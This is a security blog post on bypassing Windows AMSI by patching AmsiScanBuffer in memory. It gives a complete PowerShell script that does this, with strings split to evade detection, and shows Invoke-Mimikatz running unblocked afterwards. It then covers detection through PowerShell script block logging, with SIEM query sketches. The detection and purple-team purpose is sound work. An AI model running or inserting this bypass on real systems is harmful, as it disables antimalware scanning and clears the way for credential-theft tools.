AMSI bypuss 0x1

AMSI stands for "Antimalware Scan Interface." This script essentially smashes the AMSI protection by breaking one of the components in the AMSI chain. How can we detect this kind of technique? keep reading.

AMSI_bypuss_0x1

881b1972cd1a67891f80aa1931bdb438 (1)

Fast Recap of what exactly AMSI is:

Powershell has a cmdlet i.e., Invoke-Expression which evaluates or runs the string passed to it completely in memory without storing it on disk. That’s when Microsoft introduce AMSI with the release of Windows 10. At a high level, think of AMSI like a bridge which connects powershell to the antivirus software, every command or script we run inside powershell is fetched by AMSI and sent to installed antivirus software for inspection.

The AMSI API calls that the program can use (in our case powershell) is defined inside amsi.dll. As soon as the powershell process has started, amsi.dll is loaded into it. AMSI protects PowerShell by loading AMSI’s DLL (amsi.dll) into the PowerShell’s memory space. AMSI protection does not distinguish between a simple user with low privileges and a powerful user, such as an admin. AMSI loads its DLL for any PowerShell instance.

image

AMSI exports the below mentioned API functions that the program uses to communicate with the local antivirus software through RPC.

image

Most interesting is AmsiScanBuffer: Similar to AmsiScanString, this method takes in the buffer instead of string and returns the result.

image https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

AmsiScanString later calls AmsiScanBuffer underneath.

image


ok, now we understand that we can patch this API call in order to break something and run whatever we want.

image

so, we can continue by patching the AmsiScanBuffer function as the amsi.dll library is loaded in the same virtual memory space of the process, so we have pretty much full control in that address space. Let’s see the AMSI API calls made by powershell with the help of Frida. When we first start frida session, it creates handler files, we can modify those file to print the arguments and results at runtime.

image

image

The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated risk level. .. Any return result equal to or larger than 32768 is considered malware, and the content should be blocked. - (https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result)


Let’s look into the AmsiScanBuffer function in more detail inside Disassembler:

image

The actual scanning is performed by the instructions in the left box. The instructions at right is called whenever the arguments passed by the caller is not valid, 80070057h corresponds to E_INVALIDARG. And then the function ends.

So we can patch the beginning of AmsiScanBuffer() with the instructions in right box i.e., mov eax, 80070057h; ret. So that whenever AmsiScanBuffer() is called, it returns with the error code instead of performing the actual AMSI Scan. The byte that corresponds to that instruction is b85700780.

image

image

As can be seen, now the result is 0 and AMSI is not triggered when we passed “Invoke-Mimikatz” string in powershell.

image


OK, how can we be leveraging the below Windows APIs to programatically patch the AmsiScanBuffer() ?! Below indicated simple code that can be used to patch live the call in a powershell session.

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

image

Just split and a little brief of the calls:

  • LoadLibrary : load amsi.dll library
  • GetProcAddress : retrieve the address of AmsuScanBuffer()
  • VirtualProtect : to make the address region writable as by default it’s RX. We need to make it writable as well so that we can overwrite the instructions and later we’ll again make it to RX from RWX.

Let’s take a look from Blue Team perspective.

1d2a708b97906e4faeb5099d8efa805f

Checking spawned processes (e.g. checking EventID 4688 “New Process Created”) we can’t see anything related about that. But let’s take a look about Powershell Operational logs (Microsoft-Windows-PowerShell%4Operational.evtx): we had something interesting, like Windows APIs calls.

image

image

VirtualProtect_0x40

as we can observed, on the VirtualProtect function is passed the “0x40” paremeters as memory protection constant. VirtualProtect function is used to changes protection on a memory region. First parameters correspond to the lpAddress of $Address (AmsiScanBuffer). Int “5” as the size of the region whose access protection attributes are to be changed, in bytes. And $p (=0).

VirtualProtect funciton

Third parameters corresponds to the flNewProtect, the memory protection option that is setted to PAGE_EXECUTE_READWRITE

Constants_Variables

Another observed evidence is related the copy() function:

System Runtime InteropServices Marshal

Setted parameters are: Copy(source, startIndex, IntPtr destination, lenght)

image

as “source” parameters is set $Patch, “0” Int as startIndex (begin here), pointer to AmsiScanBuffer address as the “IntPtr destination”, Int “6” as “lenght” parameters that exactly correspond to byte numbers of the $Patch.

Filtering on EventViewer by EventID 4104 we had some info to correlate in order to detect this kind of technique and proceed with the hunt. This log is enabled by default, if not, to enable script block logging, go to the Windows PowerShell GPO settings and set Turn on PowerShell Script Block Logging to enabled. Alternately, you can set the following registry value: “HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1” (https://docs.splunk.com/Documentation/UBA/5.1.0.1/GetDataIn/AddPowerShell#:~:text=To%20enable%20script%20block%20logging,Script%20Block%20Logging%20to%20enabled.&text=In%20addition%2C%20turn%20on%20command%20line%20process%20auditing.)


Some pseudo code for Splunk and AzSentinel SIEMs

index=windows sourcetype="*PowerShell/Operational*" EventID=4104 
| where 1APICalls = "LoadLibrary" AND 2APICalls = "GetProcAddress" AND 3APICalls = "VirtualProtect" 

PowerShellOperational
| where EventID == "4104"
| where parse_json(Parameters)[1].Log == "1APICalls"
| where parse_json(Parameters)[1].Log == "2APICalls"
| where parse_json(Parameters)[1].Log == "3APICalls"
| where 1APICalls = "LoadLibrary" and 2APICalls = "GetProcAddress" and 3APICalls = "VirtualProtect" 

Try this at home!! Steps for the Purple Test:

  1. Run (high priv session not mandatory) AMSI_bypass.txt in powershell; (DONE 🔥)
  2. (optional) Run everything you want to test the bypass (e.g. Invoke-OneShot-Mimikatz.txt)
  3. check operational PowerShell logs 🔎.

(you can find AMSI_bypass.txt and Invoke_OneShot-Mimikatz.txt on my github here https://github.com/5hidobu/AMSI_bypuss_0x1 )


This post is intended as an overview of AMSI bypass with AmsiScanBuffer patching based on awesome research done by tagged below researchers, with a detection technique as a Blue Team POV. There are several ways to do AMSI bypass, the repo may be updated with the other juicy techniques (and how to detect it).

(update: keep reading!)


Credits: @C2melBoyz, @dazzyddos, @pentest_swissky and @_rastamouse.

image


update: what’s next? another AMSI bypass explained with a detection POV! let’s keep reading here https://5hidobu.github.io/2023-08-23-AMSI_Bypuss_0x2/ !

Screxcvbncvbnenshot_1

see ya!

Share: X (Twitter) LinkedIn